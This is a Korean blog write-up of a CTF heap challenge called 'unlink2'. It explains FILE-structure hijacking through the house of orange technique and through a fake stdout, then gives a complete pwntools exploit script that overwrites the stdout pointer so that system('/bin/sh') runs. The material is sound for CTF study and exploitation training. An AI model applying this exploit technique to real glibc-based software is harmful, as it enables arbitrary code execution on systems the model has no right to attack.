unlink 문제였고 쉽게 arbitrary overwrite가 가능했다.

하지만 overwrite의 기회는 한번이고 무엇을 overwrite해야 할지 몰라서 헤맸던 문제

다른 writeup을 보고나서 다시 풀어보려고 한다.

두가지 방법이 있다.

memmory corruption이 일어나면 메모리가 abort되면서 _IO_flush_all_lockp 를 호출하는데 여기서

_IO_list_all이라는 전역변수를 _IO_FILE이라는 구조체 형태로 사용하게 된다.

이 함수에서 몇가지 조건을 맞춰주면 IO_FILE의 flag를 인자로 하는 vtable의 함수를 호출하는데 이부분을 system으로 덮어써주고 flag를 /bin/sh로 만든 fake structure을 만들어주고 _IO_list_all의 포인터를 overwrite하는 방법이다.


HITCON house_of_orange 에서 나온 기법인데 감탄스러웠다..


두번째 방법은 printf에서 stdout의 vptr을 참조하는데 stdout 구조체를 위와 같이 fake struct를 만들어 포인터를 overwrite하는 방법이다.


두번째 방법으로 짠 익스

printf에서 _IO_puts를 호출하고 여기서 stdout을 사용

stdout은 IO_stdout 구조체를 가리키는 포인터 이것을 덮어써줫음

중간에 구조체 값들 중에 값을 보존해야 하는 부분도 있었음 그걸 유의해서 짠 코드



from pwn import *
import re

p=process('/home/christmas1/unlink2')
#p=process('/tmp/shsh/unlink2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

system_off=libc.symbols['system']
rr=p.recv()
Aad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[0],16)
Bad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[1],16)
Cad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[2],16)
systemadd=int(re.findall(r'0x[a-z,0-9]{12}',rr)[3],16)

libc_base=systemadd-system_off
print "A:",hex(Aad)
print "B:",hex(Bad)
print "C:",hex(Cad)
print "system : ",hex(systemadd)
a=systemadd+3661040
stdout=systemadd-0x7f9a6f1dc380+0x7f9a6f55b708
a=libc_base+0x3c5780

fake_IO_stdout='/bin/sh\x00'+p64(0x00)+p64(systemadd)+p64(0x00)*5+p64(0x00)*9+p64(a)+p64(0x00)*9+p64(Cad-0x28)


pay=""
pay+="A"*8
pay+=p64(0x00)
pay+=p64(Cad)
pay+=p64(stdout)
pay+=p64(0)
pay+=p64(0x21)
pay+=fake_IO_stdout

p.send(pay+'\n')
p.interactive()


'CTF' 카테고리의 다른 글

[SECCON 2016]tinypad  (0) 2017.01.18
[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18
[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON 2016] pppppoxy  (0) 2016.12.29

+ Recent posts